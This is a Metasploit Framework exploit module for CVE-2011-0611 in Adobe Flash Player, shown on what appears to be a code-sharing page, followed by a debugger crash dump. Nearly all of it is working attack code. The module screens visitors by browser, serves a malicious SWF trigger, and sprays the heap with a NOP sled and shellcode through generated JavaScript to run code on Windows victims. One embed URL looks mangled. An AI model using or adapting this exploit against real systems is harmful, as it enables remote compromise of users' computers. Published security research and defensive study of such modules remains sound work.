扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
## # $Id: adobe_flashplayer_flash10o.rb 12330 2011-04-16 02:09:33Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability", 'Description'=> %q{ This module exploits a vulnerability in Adobe Flash Player that was discovered, and has been exploited actively in the wild.By embedding a specially crafted .swf file, Adobe Flash crashes due to an invalid use of an object type, which allows attackers to overwrite a pointer in memory, and results arbitrary code execution. }, 'License'=> MSF_LICENSE, 'Version'=> "$Revision: 12330 $", 'Author' => [ 'sinn3r', ], 'References' => [ [ 'CVE', '2011-0611' ], [ 'OSVDB', '71686' ], [ 'BID', '47314' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ], [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ], [ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ], [ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ], [ 'URL', 'http://secunia.com/blog/210' ], ], 'Payload'=> { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets'=> [ [ 'IE 6/7 on Windows XP SP3 and Windows Vista', {} ], ], 'Privileged' => false, 'DisclosureDate' => "Apr 11 2011", 'DefaultTarget'=> 0)) end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /MSIE \d\.\d/ and agent !~ /NT \d\.\d/ send_not_found(cli) return end if request.uri =~ /\.swf/ print_status("Sending trigger SWF...") send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} ) return end shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) nopsled = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') * 8 , Rex::Arch.endian(target.arch)) swf_name= rand_text_alpha(rand(3)) js_func_name= rand_text_alpha(rand(6) +3) js_var_blocks_name= rand_text_alpha(rand(6) + 3) js_var_shell_name = rand_text_alpha(rand(6) + 3) js_var_nopsled_name = rand_text_alpha(rand(6) + 3) js_var_index_name = rand_text_alpha(rand(6) + 3) js_var_padding_offset = rand_text_alpha(rand(6) + 3) trigger_file_name = "#{get_resource}/#{swf_name}.swf" html = <<-EOS <html> <head> <script> function #{js_func_name}() { var #{js_var_blocks_name} = new Array(); var #{js_var_shell_name} = unescape("#{shellcode}"); var #{js_var_nopsled_name} = unescape("#{nopsled}"); var #{js_var_padding_offset} = #{js_var_shell_name}.length; while (#{js_var_nopsled_name}.length < 0x10101) { #{js_var_nopsled_name} += unescape("#{nopsled}") }; #{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length); #{js_var_blocks_name}[0] = #{js_var_nopsled_name} + #{js_var_shell_name}; for (#{js_var_index_name}=1; #{js_var_index_name} < 0x802; #{js_var_index_name}++) { #{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length); } } #{js_func_name}(); </script> </head> <body> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{trigger_file_name}" /> <embed src="https://www.exploit-db.com/exploits/17175/#{trigger_file_name}" quality="high" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"> </embed> </body> </html> EOS html = html.gsub(/^\t\t/, "") print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}") send_response(cli, html, {'Content-Type' => "text/html"} ) end def exploit path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf") f = File.open(path, "rb") @trigger = f.read(f.stat.size) f.close super end end =begin 0:000> r eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0 eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00050202 Flash10o+0xd01f6: 100d01f6 ff5008calldword ptr [eax+8]ds:0023:11111118=???????? 0:000> dd ecx 01d650b011111110 00000000 00000000 00000000 01d650c000000000 00000000 00000000 00000000 01d650d000000000 00000000 00000000 00000000 01d650e000000000 00000000 00000000 00000000 01d650f000000000 00000000 00000000 00000000 01d6510000000000 00000000 00000000 00000000 01d6511000000000 00000000 00000000 00000000 01d6512000000000 00000000 00000000 00000000 =end |
体验盒子
